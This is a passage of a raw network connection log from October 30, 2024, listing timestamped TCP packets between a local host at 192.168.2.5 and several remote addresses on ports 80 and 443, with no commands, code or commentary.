Oct 30, 2024 18:06:47.558376074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.558381081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.558403969 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.558417082 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.558448076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.558451891 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.558464050 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.558470011 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.558475971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.558495045 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.558499098 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.558507919 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.558507919 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.558510065 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.558582067 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.558706045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.621232033 CET	443	49906	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.622075081 CET	49906	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.622091055 CET	443	49906	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.622565031 CET	49906	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.622570992 CET	443	49906	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.741497040 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.741784096 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.741811991 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.742866039 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.742935896 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.743274927 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.743343115 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.743455887 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.743463993 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.743499041 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.743525982 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.746469021 CET	443	49907	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.747124910 CET	49907	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.747154951 CET	443	49907	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.747654915 CET	49907	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.747659922 CET	443	49907	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.761281013 CET	443	49906	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.761301994 CET	443	49906	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.761353970 CET	443	49906	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.761369944 CET	49906	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.761416912 CET	49906	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.761720896 CET	49906	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.761720896 CET	49906	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.761734962 CET	443	49906	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.761739969 CET	443	49906	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.765077114 CET	49912	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.765119076 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.765310049 CET	49912	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.765481949 CET	49912	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.765494108 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.766082048 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.766094923 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.766208887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.766217947 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.766226053 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.766233921 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.766242981 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.766277075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.766284943 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.871910095 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.883574963 CET	443	49907	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.883661032 CET	443	49907	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.883742094 CET	49907	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.884100914 CET	49907	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.884128094 CET	443	49907	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.884141922 CET	49907	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.884147882 CET	443	49907	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.887597084 CET	49913	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.887645006 CET	443	49913	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.887744904 CET	49913	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.887917995 CET	49913	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.887943029 CET	443	49913	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.918827057 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.919625044 CET	49909	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.919647932 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.920387983 CET	49909	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.920414925 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.923603058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:47.923708916 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:47.943021059 CET	443	49908	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.943660975 CET	49908	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.943686962 CET	443	49908	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.944181919 CET	49908	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:47.944191933 CET	443	49908	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:47.987874985 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.988631010 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.988703966 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.988893032 CET	443	49905	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:47.988959074 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:47.988982916 CET	49905	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:48.036147118 CET	443	49910	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.058713913 CET	49910	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.058746099 CET	443	49910	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.059258938 CET	49910	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.059268951 CET	443	49910	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.060631037 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.060657978 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.060733080 CET	49909	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.060753107 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.060781956 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.060909033 CET	49909	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.060966015 CET	49909	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.060981989 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.061005116 CET	49909	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.061012030 CET	443	49909	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.064661026 CET	49914	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.064719915 CET	443	49914	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.064907074 CET	49914	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.065817118 CET	49914	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.065840960 CET	443	49914	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.089000940 CET	443	49908	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.089380980 CET	443	49908	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.089581013 CET	49908	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.089684010 CET	49908	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.089684010 CET	49908	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.089706898 CET	443	49908	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.089718103 CET	443	49908	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.098160028 CET	49915	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.098215103 CET	443	49915	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.098306894 CET	49915	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.098535061 CET	49915	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.098548889 CET	443	49915	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.193392038 CET	443	49910	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.193429947 CET	443	49910	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.193517923 CET	49910	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.193525076 CET	443	49910	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.193806887 CET	49910	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.196808100 CET	49910	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.196808100 CET	49910	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.196845055 CET	443	49910	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.196857929 CET	443	49910	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.200545073 CET	49916	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.200602055 CET	443	49916	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.200747013 CET	49916	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.202528954 CET	49916	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.202539921 CET	443	49916	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.206804037 CET	443	49911	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:48.216165066 CET	49911	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:48.216195107 CET	443	49911	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:48.217298031 CET	443	49911	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:48.217356920 CET	49911	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:48.217855930 CET	49911	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:48.217920065 CET	443	49911	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:48.218533039 CET	49911	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:48.218544960 CET	443	49911	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:48.218625069 CET	49911	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:48.218652010 CET	443	49911	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:48.222111940 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:48.222142935 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:48.222160101 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:48.222214937 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:48.222223997 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:48.222251892 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:48.222265005 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:48.230118990 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:48.230171919 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:48.230252981 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:48.230897903 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:48.230916023 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:48.230926991 CET	49813	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:48.230932951 CET	443	49813	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:48.293730974 CET	49911	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:48.427293062 CET	443	49911	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:48.431185007 CET	49911	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:48.431283951 CET	443	49911	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:48.431474924 CET	443	49911	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:48.431519032 CET	49911	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:48.431555986 CET	49911	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:48.478596926 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:48.478647947 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:48.478754044 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:48.479089022 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:48.479108095 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:48.536823988 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.537374973 CET	49912	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.537400007 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.537996054 CET	49912	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.538001060 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.661798954 CET	443	49913	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.662585974 CET	49913	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.662628889 CET	443	49913	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.663327932 CET	49913	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.663337946 CET	443	49913	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.677114964 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.677138090 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.677192926 CET	49912	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.677210093 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.677319050 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.677365065 CET	49912	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.677573919 CET	49912	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.677587032 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.677608013 CET	49912	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.677613974 CET	443	49912	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.691133976 CET	49918	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.691194057 CET	443	49918	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.691273928 CET	49918	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.691440105 CET	49918	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.691452980 CET	443	49918	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.802280903 CET	443	49913	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.802366972 CET	443	49913	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.802659035 CET	49913	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.805536032 CET	49913	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.805562019 CET	443	49913	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.805572987 CET	49913	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.805577993 CET	443	49913	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.810792923 CET	49919	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.810842037 CET	443	49919	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.810915947 CET	49919	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.811100006 CET	49919	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.811110973 CET	443	49919	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.826704979 CET	443	49914	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.829690933 CET	49914	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.829726934 CET	443	49914	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.830163956 CET	49914	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.830169916 CET	443	49914	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.856215954 CET	443	49915	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.857677937 CET	49915	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.857707024 CET	443	49915	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.858194113 CET	49915	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:48.858203888 CET	443	49915	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:48.890913963 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:48.890949011 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:48.896347046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:48.896362066 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:49.168773890 CET	443	49914	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.168854952 CET	443	49914	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.168912888 CET	49914	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.169708967 CET	443	49915	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.169764042 CET	443	49915	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.169830084 CET	49915	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.171525002 CET	443	49916	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.177575111 CET	49914	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.177592039 CET	443	49914	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.177606106 CET	49914	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.177612066 CET	443	49914	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.180161953 CET	49915	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.180181980 CET	443	49915	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.180242062 CET	49915	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.180248976 CET	443	49915	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.180730104 CET	49916	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.180763960 CET	443	49916	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.181359053 CET	49916	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.181364059 CET	443	49916	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.185034990 CET	49920	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.185072899 CET	443	49920	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.185075045 CET	49921	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.185112000 CET	443	49921	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.185175896 CET	49920	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.185203075 CET	49921	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.185736895 CET	49921	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.185748100 CET	443	49921	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.185842991 CET	49920	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.185856104 CET	443	49920	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.317434072 CET	443	49916	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.317517996 CET	443	49916	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.317589045 CET	49916	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.317926884 CET	49916	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.317948103 CET	443	49916	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.322921991 CET	49922	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.322967052 CET	443	49922	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.323137999 CET	49922	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.323329926 CET	49922	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.323343992 CET	443	49922	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.446295023 CET	443	49918	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.453016043 CET	49918	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.453044891 CET	443	49918	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.453638077 CET	49918	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.453643084 CET	443	49918	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.571003914 CET	443	49919	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.571609974 CET	49919	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.571644068 CET	443	49919	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.572449923 CET	49919	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.572455883 CET	443	49919	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.585484982 CET	443	49918	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.585541010 CET	443	49918	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.585612059 CET	49918	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.585685015 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:49.585881948 CET	49918	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.585900068 CET	443	49918	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.587182045 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:49.587212086 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:49.587981939 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:49.587989092 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:49.588018894 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:49.588032007 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:49.590255022 CET	49923	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.590286970 CET	443	49923	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.590348005 CET	49923	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.590476036 CET	49923	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.590486050 CET	443	49923	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.677450895 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:49.677772045 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:49.709583044 CET	443	49919	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.709661961 CET	443	49919	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.709868908 CET	49919	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.738668919 CET	49919	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.738668919 CET	49919	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.738706112 CET	443	49919	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.738719940 CET	443	49919	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.741794109 CET	49924	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.741842985 CET	443	49924	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.744926929 CET	49924	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.744926929 CET	49924	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.744963884 CET	443	49924	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.938868046 CET	443	49920	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.939645052 CET	49920	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.939671993 CET	443	49920	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.940161943 CET	49920	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.940167904 CET	443	49920	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.946872950 CET	443	49921	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.947457075 CET	49921	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.947499990 CET	443	49921	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:49.948045015 CET	49921	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:49.948055983 CET	443	49921	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.022559881 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.022614002 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.022723913 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.023300886 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.023319006 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.051944971 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:50.059415102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:50.077265024 CET	443	49920	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.077337980 CET	443	49920	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.077586889 CET	49920	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.077650070 CET	49920	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.077666998 CET	443	49920	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.077677965 CET	49920	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.077682972 CET	443	49920	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.080740929 CET	49926	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.080784082 CET	443	49926	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.080986023 CET	49926	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.081060886 CET	49926	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.081072092 CET	443	49926	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.087750912 CET	443	49921	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.087934017 CET	443	49921	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.088067055 CET	49921	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.088113070 CET	49921	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.088113070 CET	49921	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.088134050 CET	443	49921	13.107.253.45	192.168.2.5
